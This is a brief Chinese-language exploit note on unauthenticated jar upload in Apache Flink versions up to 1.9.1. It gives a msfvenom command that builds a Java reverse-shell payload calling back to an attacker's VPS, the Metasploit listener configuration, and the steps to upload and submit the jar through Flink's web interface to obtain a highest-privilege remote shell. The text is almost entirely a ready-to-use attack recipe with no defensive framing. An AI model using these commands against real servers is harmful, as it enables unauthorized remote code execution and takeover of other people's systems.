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Apache-flink 未授权访问任意jar包上传反弹shell
影响版本: flink<=1.9.1
利用方法:
msf开启监听
`
msfvenom -p java/meterpreter/reverse_tcp LHOST=vpsip LPORT=6666 -f jar > flink.jar
use exploit/multi/handler
set payload java/shell/reverse_tcp
set LHOST vpsip
set LPORT 6666
`
触发条件:
访问ip:port/#/submit/submit
Upload flink.jar之后,点击已上传jar包,submit即可反弹最高权限shell
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